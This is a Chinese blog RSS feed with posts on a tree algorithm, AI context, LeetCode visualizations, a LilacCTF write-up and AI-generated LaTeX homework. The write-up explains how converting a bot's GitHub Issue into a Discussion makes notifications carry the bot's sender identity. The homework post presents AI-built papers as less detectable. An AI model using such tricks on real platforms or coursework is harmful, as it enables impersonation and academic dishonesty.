    if(p == cent) {
        dppart[u] = parts;
        parts++;
    } else if(p != -1) {
        dppart[u] = dppart[p];
    }
    for(int i = 0; i &amp;lt; adj[u].size(); i++) {
        int v = adj[u][i].fi, w = adj[u][i].se;
        if(v == p || visited[v]) continue;
        down[v] = add(mult(down[u], 10), w);
        up[v] = add(up[u], mult(modpow(10, h[u]), w));
        h[v] = h[u] + 1;
        fill(v, u, cent);
    }
}

// 统计经过cent的满足条件的路径数
ll solve(int cent) {
    for(int u : clrlist) { up[u] = 0; down[u] = 0; h[u] = 0; }
    parts = 0;
    fill(cent, -1, cent);
    parts--;
    dppart[cent] = -1;

    map&amp;lt;ll,ll&amp;gt; tot;  // 所有up值的统计
    vector&amp;lt;map&amp;lt;ll,ll&amp;gt;&amp;gt; vec(parts+1);  // 各子树up值统计
    tot[0]++;
    for(int u : clrlist) {
        if(u == cent) continue;
        tot[up[u]]++;
        vec[dppart[u]][up[u]]++;
    }

    ll ans = 0;
    for(int u : clrlist) {
        int ht = h[u], pt = dppart[u];
        if(u == cent) {
            ans += (tot[0] - 1);  // cent作为起点
        } else {
            ll val = mult((-down[u]) % MOD + MOD, inv(modpow(10, ht)));
            ans += (tot[val] - vec[pt][val]);  // 减去同一子树内的
        }
    }
    return ans;
}

// 点分治主过程
ll compsolve(int u) {
    dfs(u, -1);
    int cent = centroid(u, -1);
    ll ans = solve(cent);
    visited[cent] = true;
    for(int i = 0; i &amp;lt; adj[cent].size(); i++) {
        int v = adj[cent][i].fi;
        if(!visited[v]) ans += compsolve(v);
    }
    return ans;
}

int main() {
    ios_base::sync_with_stdio(0); cin.tie(0);
    cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; MOD;
    if(MOD == 1) {
        cout &amp;lt;&amp;lt; ll(n) * ll(n-1) &amp;lt;&amp;lt; &amp;#39;\n&amp;#39;;
        return 0;
    }
    PHI = phi(MOD);  // 欧拉函数值
    for(int i = 0; i &amp;lt; n-1; i++) {
        int u, v, w; cin &amp;gt;&amp;gt; u &amp;gt;&amp;gt; v &amp;gt;&amp;gt; w;
        adj[u].pb(ii(v, w)); adj[v].pb(ii(u, w));
    }
    cout &amp;lt;&amp;lt; compsolve(0) &amp;lt;&amp;lt; &amp;#39;\n&amp;#39;;
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;算法分析&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;组件&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;点分治&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;保证递归深度 $O(\log n)$，总复杂度 $O(n \log n)$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;欧拉函数&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;用于计算模逆元（要求 $M$ 与 $10$ 互质）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;up/down数组&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;分别表示向上和向下方向的路径余数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;map统计&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;快速查询满足合并条件的路径数&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;Warning&gt;
题目保证 $M$ 与 $10$ 互质，这样才能使用欧拉函数求逆元。如果 $M$ 不与 $10$ 互质，需要用其他方法处理。
&lt;/Warning&gt;

&lt;h3&gt;关键技巧总结&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;路径方向的区分&lt;/strong&gt;：数字拼接有方向性，$u \to v$ 和 $v \to u$ 是不同的&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模逆元的应用&lt;/strong&gt;：将&amp;quot;乘以 $10^{len}$&amp;quot;转化为&amp;quot;乘以逆元&amp;quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;避免重复计数&lt;/strong&gt;：统计时减去同一子树内的路径数&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重心优化&lt;/strong&gt;：点分治保证线性对数复杂度&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;p&gt;这两道例题展示了树论知识的综合应用：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;题目&lt;/th&gt;
&lt;th&gt;核心知识点&lt;/th&gt;
&lt;th&gt;算法技巧&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;P2491 消防&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;树的直径&lt;/td&gt;
&lt;td&gt;尺取法、DFS分支处理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CF 715C Digit Tree&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;树的重心（点分治）&lt;/td&gt;
&lt;td&gt;模逆元、路径余数统计&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;学习建议：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;先掌握基础算法（DFS、求直径、求重心）&lt;/li&gt;
&lt;li&gt;理解点分治的核心思想：每次选重心，保证递归深度&lt;/li&gt;
&lt;li&gt;多练习综合题目，体会知识点的融合应用&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><dc:creator>LangQi99的博客</dc:creator><pubDate>Fri, 27 Mar 2026 00:00:00 GMT</pubDate></item><item><title>Context is all you need：为什么上下文才是 AI 的灵魂？</title><link>https://langqi99.com/blog/context-is-all-you-need/</link><guid isPermaLink="true">https://langqi99.com/blog/context-is-all-you-need/</guid><description>参数量决定上限，上下文决定下限</description><content:encoded>&lt;blockquote&gt;For the best experience, please visit: &lt;a href=&quot;https://langqi99.com/blog/context-is-all-you-need/&quot;&gt;https://langqi99.com/blog/context-is-all-you-need/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;import Info from &amp;quot;../../components/mdx/Info.astro&amp;quot;;
import Warning from &amp;quot;../../components/mdx/Warning.astro&amp;quot;;
import Success from &amp;quot;../../components/mdx/Success.astro&amp;quot;;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;LLM&lt;/code&gt; 越来越强，似乎无所不能。很多人都在期待，只要模型继续迭代升级，未来的 &lt;code&gt;AI对话&lt;/code&gt; 一定能解决所有问题。&lt;/p&gt;
&lt;p&gt;但现实真的如此吗？&lt;/p&gt;
&lt;p&gt;当你对着目前最聪明的 &lt;code&gt;AI&lt;/code&gt; 问出一个极其日常的问题&lt;/p&gt;
&lt;h2&gt;我今晚吃什么？&lt;/h2&gt;
&lt;p&gt;你会发现，哪怕它进化到了 &lt;code&gt;GPT 999.0&lt;/code&gt; 或者 &lt;code&gt;Claude Opus 999.9&lt;/code&gt;，它给你的答案只是一堆排列组合：汉堡、轻食、火锅或是日料。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/context-is-all-you-need/image.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;就算你把世界上所有的菜谱都喂给了一个参数量巨大的 &lt;code&gt;AI&lt;/code&gt;，此时它确实全知。但当你说“我饿了”时，模型不知道你最近在减脂，也不知道你一吃香菜就会皱眉头。&lt;/p&gt;
&lt;Warning&gt;
没有你的专属上下文，最强大的 `AI` 也没有灵魂。
&lt;/Warning&gt;

&lt;p&gt;&lt;code&gt;AI&lt;/code&gt; 拥有了关于你的完整上下文，就像一个时刻配置你的朋友呢？&lt;/p&gt;
&lt;p&gt;它拥有你每天吃饭的数据：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你今天中午吃了一顿高热量的炸鸡，昨天晚上吃的是披萨。&lt;/li&gt;
&lt;li&gt;你每次点“健康餐”之前要在软件里犹豫 5 分钟去选菜，但点“烧烤”时只会花 30 秒。&lt;/li&gt;
&lt;li&gt;你吃到某家外卖后皱着眉头、心情打分甚至心率变化。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这个时候，AI 能从中分析出&lt;strong&gt;连你自己都没意识到的潜在模式&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;它知道你中午热量超标了，今晚潜意识里可能想吃点清淡的以减轻负罪感。&lt;/li&gt;
&lt;li&gt;它知道你虽然收藏了一堆沙拉店，但总是犹豫不决，说明你对纯草食并不感冒。&lt;/li&gt;
&lt;li&gt;它结合你今天下班较晚的疲惫状态……&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;最终，它可能会给出这样一个建议：“今晚给你推荐一份温暖的日式鸡汤乌冬面吧。你中午吃得比较油腻，晚上吃这个暖胃；而且那家店就在你回家的路上，不用再花 5 分钟犹豫选哪家了。”&lt;/p&gt;
&lt;Success&gt;
This is true intelligence!
&lt;/Success&gt;

&lt;h2&gt;Context is All You Need&lt;/h2&gt;
&lt;p&gt;毕竟，哪怕是 &lt;code&gt;GPT 999.0&lt;/code&gt;，如果没有你的生活轨迹介入，它也仅仅是个好用的搜索工具而已&lt;/p&gt;
&lt;p&gt;AI 模型的算力、参数量和世界知识，决定了它能力的&lt;strong&gt;上限&lt;/strong&gt;；但 AI 拥有多少关于你的上下文，决定了它在你生活中的&lt;strong&gt;下限&lt;/strong&gt;。&lt;/p&gt;
</content:encoded><dc:creator>LangQi99的博客</dc:creator><pubDate>Sat, 07 Mar 2026 00:00:00 GMT</pubDate></item><item><title>LeetCode 算法可视化</title><link>https://langqi99.com/blog/algorithm-visualization/</link><guid isPermaLink="true">https://langqi99.com/blog/algorithm-visualization/</guid><description>通过动画演示算法的执行过程，包括链表操作、数组算法、树算法等。</description><content:encoded>&lt;blockquote&gt;For the best experience, please visit: &lt;a href=&quot;https://langqi99.com/blog/algorithm-visualization/&quot;&gt;https://langqi99.com/blog/algorithm-visualization/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;import LinkCard from &amp;quot;../../components/mdx/LinkCard.astro&amp;quot;;&lt;/p&gt;
&lt;p&gt;这里收集了一些 LeetCode 题目设计的算法的可视化演示。点击卡片即可查看。&lt;/p&gt;
&lt;h2&gt;经典算法&lt;/h2&gt;
&lt;div class=&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;&gt;

&lt;p&gt;&lt;LinkCard
  title=&quot;接雨水&quot;
  desc=&quot;Trapping Rain Water&quot;
  url=&quot;https://langqi99.com/demo/trapping-rain-water.html&quot;
  badge=&quot;Hard&quot;
/&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;h2&gt;链表&lt;/h2&gt;
&lt;div class=&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;&gt;

&lt;p&gt;&lt;LinkCard
  title=&quot;K个一组翻转链表&quot;
  desc=&quot;Reverse Nodes in k-Group&quot;
  url=&quot;https://langqi99.com/demo/reverse-nodes-in-k-group.html&quot;
  badge=&quot;Hard&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;LinkCard
  title=&quot;合并K个升序链表&quot;
  desc=&quot;Merge k Sorted Lists&quot;
  url=&quot;https://langqi99.com/demo/merge-k-sorted-lists.html&quot;
  badge=&quot;Hard&quot;
/&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;h2&gt;数组与字符串&lt;/h2&gt;
&lt;div class=&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;&gt;

&lt;p&gt;&lt;LinkCard
  title=&quot;寻找第K大元素&quot;
  desc=&quot;Kth Largest Element in an Array&quot;
  url=&quot;https://langqi99.com/demo/kth-largest-element.html&quot;
  badge=&quot;Medium&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;LinkCard
  title=&quot;无重复字符的最长子串&quot;
  desc=&quot;Longest Substring Without Repeating Characters&quot;
  url=&quot;https://langqi99.com/demo/longest-substring-without-repeating-characters.html&quot;
  badge=&quot;Medium&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;LinkCard
  title=&quot;三数之和&quot;
  desc=&quot;3Sum&quot;
  url=&quot;https://langqi99.com/demo/3sum.html&quot;
  badge=&quot;Medium&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;LinkCard
  title=&quot;大数相加&quot;
  desc=&quot;Add Strings (Big Integer Addition)&quot;
  url=&quot;https://langqi99.com/demo/add-strings.html&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;LinkCard
  title=&quot;比较版本号&quot;
  desc=&quot;Compare Version Numbers&quot;
  url=&quot;https://langqi99.com/demo/compare-version-numbers.html&quot;
/&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;h2&gt;树与图&lt;/h2&gt;
&lt;div class=&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;&gt;

&lt;p&gt;&lt;LinkCard
  title=&quot;二叉树的最近公共祖先&quot;
  desc=&quot;Lowest Common Ancestor of a Binary Tree&quot;
  url=&quot;https://langqi99.com/demo/lowest-common-ancestor.html&quot;
  badge=&quot;Medium&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;LinkCard
  title=&quot;岛屿数量&quot;
  desc=&quot;Number of Islands&quot;
  url=&quot;https://langqi99.com/demo/number-of-islands.html&quot;
  badge=&quot;Medium&quot;
/&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;h2&gt;设计&lt;/h2&gt;
&lt;div class=&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;&gt;

&lt;p&gt;&lt;LinkCard
  title=&quot;LRU 缓存&quot;
  desc=&quot;LRU Cache&quot;
  url=&quot;https://langqi99.com/demo/lru-cache.html&quot;
  badge=&quot;Medium&quot;
/&gt;&lt;/p&gt;
&lt;/div&gt;</content:encoded><dc:creator>LangQi99的博客</dc:creator><pubDate>Tue, 03 Feb 2026 00:00:00 GMT</pubDate></item><item><title>[LilacCTF 2026] Your GitHub, mine 题解：利用 GitHub 机制伪造发件人</title><link>https://langqi99.com/blog/lilacctf-writeup/</link><guid isPermaLink="true">https://langqi99.com/blog/lilacctf-writeup/</guid><description>记录 LilacCTF 2026 中一道利用 GitHub 逻辑特性的 Misc 题目。通过将 Issue 转换为 Discussion，绕过发件人检查机制</description><content:encoded>&lt;blockquote&gt;For the best experience, please visit: &lt;a href=&quot;https://langqi99.com/blog/lilacctf-writeup/&quot;&gt;https://langqi99.com/blog/lilacctf-writeup/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;import Info from &amp;quot;../../components/mdx/Info.astro&amp;quot;;
import Warning from &amp;quot;../../components/mdx/Warning.astro&amp;quot;;
import Success from &amp;quot;../../components/mdx/Success.astro&amp;quot;;&lt;/p&gt;
&lt;h2&gt;背景&lt;/h2&gt;
&lt;p&gt;在最近的 LilacCTF 2026 中，有一道名为 &amp;quot;Your GitHub, mine&amp;quot; 的 Misc 题目非常有意思。&lt;/p&gt;
&lt;p&gt;题目要求我们让一个特定的 GitHub 机器人账号 @2rn8p752rs-lang 给题目组的账号 @lilacctf-tech 发送一封邮件，且邮件头必须包含 X-GitHub-Sender: 2rn8p752rs-lang。&lt;/p&gt;
&lt;p&gt;限制条件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;机器人创建 Issue 的那封初始邮件不算数。&lt;/li&gt;
&lt;li&gt;我们只能控制机器人创建一个 Issue，无法登录机器人账号。&lt;/li&gt;
&lt;li&gt;需要绕过 GitHub 的身份验证机制。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;本文记录了如何利用 GitHub 的 &amp;quot;Issue 转 Discussion&amp;quot; 功能特性来完成这次攻击。&lt;/p&gt;
&lt;h2&gt;题目入口&lt;/h2&gt;
&lt;p&gt;题目提供了一个 nc 端口。连接后，首先面临的是一个 HashCash PoW Challenge。这是为了防止滥用，要求我们计算出一个后缀，使得 SHA256 哈希值满足特定条件。&lt;/p&gt;
&lt;h3&gt;1. 自动化脚本&lt;/h3&gt;
&lt;p&gt;手算是不可能的，直接上 Python 脚本自动爆破：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *
import hashlib
import itertools
import string

# 配置信息
HOST = &amp;#39;1.95.71.133&amp;#39;
PORT = 9999
REPO_NAME = &amp;quot;your-username/lilacctf-puzzle-xxx&amp;quot;  # 你的仓库名

def solve_pow(prefix, difficulty=6):
    print(f&amp;quot;[*] Calculating PoW (Prefix: {prefix})...&amp;quot;)
    chars = string.ascii_letters + string.digits
    # 爆破长度 1-10 的字符串
    for length in range(1, 10):
        for p in itertools.product(chars, repeat=length):
            suffix = &amp;#39;&amp;#39;.join(p)
            candidate = prefix + suffix
            if hashlib.sha256(candidate.encode()).hexdigest().startswith(&amp;#39;0&amp;#39; * difficulty):
                return suffix

r = remote(HOST, PORT)

# 读取挑战前缀
r.recvuntil(b&amp;quot;SHA256(&amp;#39;&amp;quot;)
prefix = r.recvuntil(b&amp;quot;&amp;#39;&amp;quot;, drop=True).decode()
r.recvuntil(b&amp;quot;hex&amp;quot;)

# 计算并发送
solution = solve_pow(prefix)
r.sendline(solution.encode())
r.sendline(REPO_NAME.encode())
r.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;Success&gt;
运行脚本通过验证后，机器人 @2rn8p752rs-lang 会在我们的仓库中创建一个 Issue。
&lt;/Success&gt;

&lt;h2&gt;解法&lt;/h2&gt;
&lt;p&gt;此时我们拥有了一个由机器人创建的 Issue。如果我们直接在该 Issue 下评论并 @ 目标用户，通知邮件的发送者（X-GitHub-Sender）会是我们自己，而不是机器人。&lt;/p&gt;
&lt;p&gt;我们需要利用 GitHub 的一个特性：将 Issue 转换为 Discussion。&lt;/p&gt;
&lt;h3&gt;1. 添加触发器&lt;/h3&gt;
&lt;p&gt;首先，我们需要让目标用户 @lilacctf-tech 有理由收到这个通知。&lt;/p&gt;
&lt;p&gt;打开机器人创建的那个 Issue，点击 Edit，在正文中添加：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;Hello @lilacctf-tech
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;虽然这次编辑操作是由我们执行的，但 Issue 的归属作者依然是机器人。&lt;/p&gt;
&lt;h3&gt;2. Issue 转 Discussion&lt;/h3&gt;
&lt;p&gt;进入仓库页面，点击上方菜单栏的 &lt;strong&gt;Settings&lt;/strong&gt;，开启 &lt;strong&gt;Discussions&lt;/strong&gt; 功能。&lt;/p&gt;
&lt;p&gt;开启后，再回到对应 Issue 页面，此时右下角就会出现 &amp;quot;Convert to discussion&amp;quot; 按钮。点击它即可将 Issue 转为 Discussion。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;原理分析：&lt;/strong&gt;
当 Issue 被转换为 Discussion 时，GitHub 会生成一条新的 &amp;quot;Discussion created&amp;quot; 通知。由于 Discussion 的内容继承自 Issue，系统会将新生成的 Discussion 作者视为 Issue 的原始创建者（即机器人）。&lt;/p&gt;
&lt;p&gt;因此，发出的通知邮件头中，X-GitHub-Sender 字段就会变成机器人的 ID，从而满足题目要求。&lt;/p&gt;
&lt;h2&gt;踩坑记录&lt;/h2&gt;
&lt;p&gt;按照上述步骤操作后，发现这里迟迟没有收到 Flag，目标似乎根本没收到邮件。&lt;/p&gt;
&lt;Warning&gt;
关键坑点：私有仓库的隐私保护机制
&lt;/Warning&gt;

&lt;p&gt;我在测试时直接使用了 GitHub Classroom 默认创建的仓库，通常它是 Private 的。&lt;/p&gt;
&lt;p&gt;在 GitHub 的隐私逻辑中：如果在私有仓库中 Mention 一个非协作者，GitHub 为了防止泄露仓库存在性，绝对不会向对方发送任何通知。&lt;/p&gt;
&lt;h2&gt;解决方案&lt;/h2&gt;
&lt;p&gt;解决办法非常简单粗暴：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;进入仓库 Settings -&amp;gt; General。&lt;/li&gt;
&lt;li&gt;拉到最下方 Danger Zone。&lt;/li&gt;
&lt;li&gt;点击 Change repository visibility -&amp;gt; Make public。&lt;/li&gt;
&lt;/ol&gt;
&lt;Info&gt;
将仓库公开后，建议重新运行一遍流程（生成新 Issue -&gt; 编辑 @ 目标 -&gt; 转 Discussion），以确保通知被触发。
&lt;/Info&gt;

&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;这道题其实考察的不是传统的 Web 漏洞，而是对 GitHub 平台业务逻辑的熟悉程度。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Issue 转 Discussion&lt;/strong&gt; 会保留原作者身份，这是一个 Feature。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;私有仓库&lt;/strong&gt; 不给外人发通知，这是一个 Privacy Protection。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;结合这两点，只需两步操作即可优雅地拿到 Flag。&lt;/p&gt;
</content:encoded><dc:creator>LangQi99的博客</dc:creator><pubDate>Mon, 26 Jan 2026 00:00:00 GMT</pubDate></item><item><title>用任意 AI 巧妙一口气生成图文并茂的论文/大作业</title><link>https://langqi99.com/blog/ai-paper-latex/</link><guid isPermaLink="true">https://langqi99.com/blog/ai-paper-latex/</guid><description>拒绝手搓公式和绘图。本文介绍一种通过 Prompt Engineering 让 AI 编写 Python 脚本，从而自动计算数据、绘制图表并生成完整 LaTeX 源码的高级玩法。</description><content:encoded>&lt;blockquote&gt;For the best experience, please visit: &lt;a href=&quot;https://langqi99.com/blog/ai-paper-latex/&quot;&gt;https://langqi99.com/blog/ai-paper-latex/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;import Info from &amp;quot;../../components/mdx/Info.astro&amp;quot;;
import Warning from &amp;quot;../../components/mdx/Warning.astro&amp;quot;;
import Success from &amp;quot;../../components/mdx/Success.astro&amp;quot;;&lt;/p&gt;
&lt;h2&gt;背景&lt;/h2&gt;
&lt;p&gt;每到期末，理工科的大作业往往让人头秃。你不仅要推导公式，还要用 Python/Matlab 跑仿真数据，把数据画成图，最后还得把这些东西手动粘贴到 Word 或者 LaTeX 里，排版又是一场噩梦。&lt;/p&gt;
&lt;p&gt;痛点分析：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;数据与图表割裂：代码跑完图，还得手动保存、重命名、插入文档。&lt;/li&gt;
&lt;li&gt;排版繁琐：LaTeX 的表格和公式写起来非常费劲。&lt;/li&gt;
&lt;li&gt;AI 直接写的太假：直接让 AI 写论文，它往往会瞎编数据（幻觉），或者没有配图，一看就是生成的。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本文介绍一种策略：不要让 AI 写论文，而是让 AI 写一个 &lt;strong&gt;&amp;quot;能生成论文&amp;quot;的代码&lt;/strong&gt; 。&lt;/p&gt;
&lt;p&gt;我们将以一个量子力学大作业（无限深势阱仿真）为例，展示如何用一个 py 脚本搞定一切。&lt;/p&gt;
&lt;h2&gt;效果预览&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://langqi99.com/image/ai-paper-latex/1767271685315.png&quot; alt=&quot;1767271685315&quot;&gt;&lt;/p&gt;
&lt;h2&gt;核心思路&lt;/h2&gt;
&lt;p&gt;与其让 AI 输出文本，不如让它输出一个 Python 脚本，这个脚本包含三个模块：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;计算核心&lt;/strong&gt;：利用 numpy 算出真实可靠的数据（拒绝胡编乱造）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;绘图引擎&lt;/strong&gt;：利用 matplotlib 自动生成高清图表并保存。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文档生成&lt;/strong&gt;：利用 Python 的字符串操作，将计算结果、图表路径嵌入 LaTeX 模板，并输出 .tex 文件。&lt;/li&gt;
&lt;/ol&gt;
&lt;Info&gt;
这种方法的优势在于可复现性。只要代码逻辑是对的，生成的图表和数据就绝对对应，不会出现&quot;图文不符&quot;的低级错误。
&lt;/Info&gt;

&lt;h2&gt;案例剖析：aaaaa.py&lt;/h2&gt;
&lt;p&gt;我们来看一个实际案例 aaaaa.py。这是我让 AI 生成的一个脚本，它的目标是完成一份关于&amp;quot;1D 和 2D 无限深势阱&amp;quot;的物理大作业。&lt;/p&gt;
&lt;h3&gt;1. 物理引擎与计算&lt;/h3&gt;
&lt;p&gt;首先，脚本定义了物理常数和核心计算函数。这一步保证了论文里的数据是基于数学公式算出来的，而不是 AI 瞎编的。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# aaaaa.py 片段：定义物理计算逻辑
def energy_1d(n):
    &amp;quot;&amp;quot;&amp;quot;Energy levels for 1D well&amp;quot;&amp;quot;&amp;quot;
    return (n**2 * np.pi**2 * hbar**2) / (2 * m * L**2)

def evolve_psi(coeffs, x, t, N):
    &amp;quot;&amp;quot;&amp;quot;Calculate wave function at time t&amp;quot;&amp;quot;&amp;quot;
    # ... 省略具体计算过程 ...
    return psi_t
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 自动化绘图&lt;/h3&gt;
&lt;p&gt;这是最爽的一步。脚本会自动创建输出目录，并批量生成所需的图表。注意它直接把图保存到了 OUTPUT_DIR。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# aaaaa.py 片段：自动绘图
OUTPUT_DIR = &amp;quot;quantum_paper_output&amp;quot;
# ... 创建目录 ...

print(&amp;quot;Generating Eigenstate Figures...&amp;quot;)
fig, axes = plt.subplots(4, 2, figsize=(10, 12))
# ... 循环画图 ...
plt.savefig(f&amp;quot;{OUTPUT_DIR}/fig_eigenstates.png&amp;quot;, dpi=300)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它甚至还生成了复杂的 3D 表面图，展示 2D 势阱的简并态：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def plot_2d_eigen(nx, ny, filename):
    # ... 3D 绘图逻辑 ...
    ax.plot_surface(X, Y, prob2d, cmap=&amp;#39;viridis&amp;#39;, edgecolor=&amp;#39;none&amp;#39;)
    plt.savefig(f&amp;quot;{OUTPUT_DIR}/{filename}&amp;quot;, dpi=300)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. 动态生成 LaTeX 表格&lt;/h3&gt;
&lt;p&gt;手写 LaTeX 表格是世界上最痛苦的事情之一。但用 Python 生成就非常简单。脚本里用循环计算出数据，拼接成 LaTeX 的表格行格式：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# aaaaa.py 片段：自动生成表格内容
energy_table_rows = &amp;quot;&amp;quot;
for n in range(1, 21):
    e_val = energy_1d(n)
    # 自动填充 n, 能量值, 和公式表达
    energy_table_rows += f&amp;quot;{n} &amp;amp; {e_val:.4f} &amp;amp; ${n**2} E_1$ \\\\\n&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. 组装论文&lt;/h3&gt;
&lt;p&gt;最后，脚本通过一个巨大的 f-string（格式化字符串），把刚才生成的表格行插入到 LaTeX 模板中，并写入 paper.tex。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# aaaaa.py 片段：LaTeX 模板注入
tex_content = r&amp;quot;&amp;quot;&amp;quot;\documentclass[12pt, a4paper]{article}
% ... 导包 ...
\begin{document}

\section{Results}
\begin{table}[H]
    \centering
    \begin{tabular}{ccc}
        Quantum Number $n$ &amp;amp; Energy &amp;amp; Factor \\
        \midrule
&amp;quot;&amp;quot;&amp;quot; + energy_table_rows + r&amp;quot;&amp;quot;&amp;quot;   &amp;lt;-- 插入刚才生成的表格数据
        \bottomrule
    \end{tabular}
\end{table}

\begin{figure}[H]
    \centering
    \includegraphics[width=0.9\textwidth]{fig_eigenstates.png} &amp;lt;-- 引用刚才生成的图片
    \caption{Eigenstates visualization...}
\end{figure}

\end{document}
&amp;quot;&amp;quot;&amp;quot;

with open(f&amp;quot;{OUTPUT_DIR}/paper.tex&amp;quot;, &amp;quot;w&amp;quot;, encoding=&amp;quot;utf-8&amp;quot;) as f:
    f.write(tex_content)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;实操步骤&lt;/h2&gt;
&lt;h3&gt;第一步：让 AI 写代码&lt;/h3&gt;
&lt;p&gt;你可以给 ChatGPT/DeepSeek/Claude 发送类似的 Prompt：&lt;/p&gt;
&lt;p&gt;&amp;quot;请帮我写一个 Python 脚本，用于模拟[你的课题]。脚本需要做以下事情：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;使用 Numpy 计算[核心公式]。&lt;/li&gt;
&lt;li&gt;使用 Matplotlib 绘制[关键图表]并保存为 PNG。&lt;/li&gt;
&lt;li&gt;生成一个完整的 LaTeX 论文源码文件，其中包含摘要、公式推导、刚才生成的图片（使用 includegraphics）以及计算出的数据表格。&lt;/li&gt;
&lt;li&gt;将所有输出文件放在一个文件夹里。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;第二步：运行脚本&lt;/h3&gt;
&lt;p&gt;拿到代码后（例如 aaaaa.py），直接在本地运行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python aaaaa.py
&lt;/code&gt;&lt;/pre&gt;
&lt;Success&gt;
运行结束后，你会发现当前目录下多了一个 quantum_paper_output 文件夹，里面躺着 paper.tex 和几张高清 PNG 图片。
&lt;/Success&gt;

&lt;h2&gt;进阶：如何编译生成的 LaTeX&lt;/h2&gt;
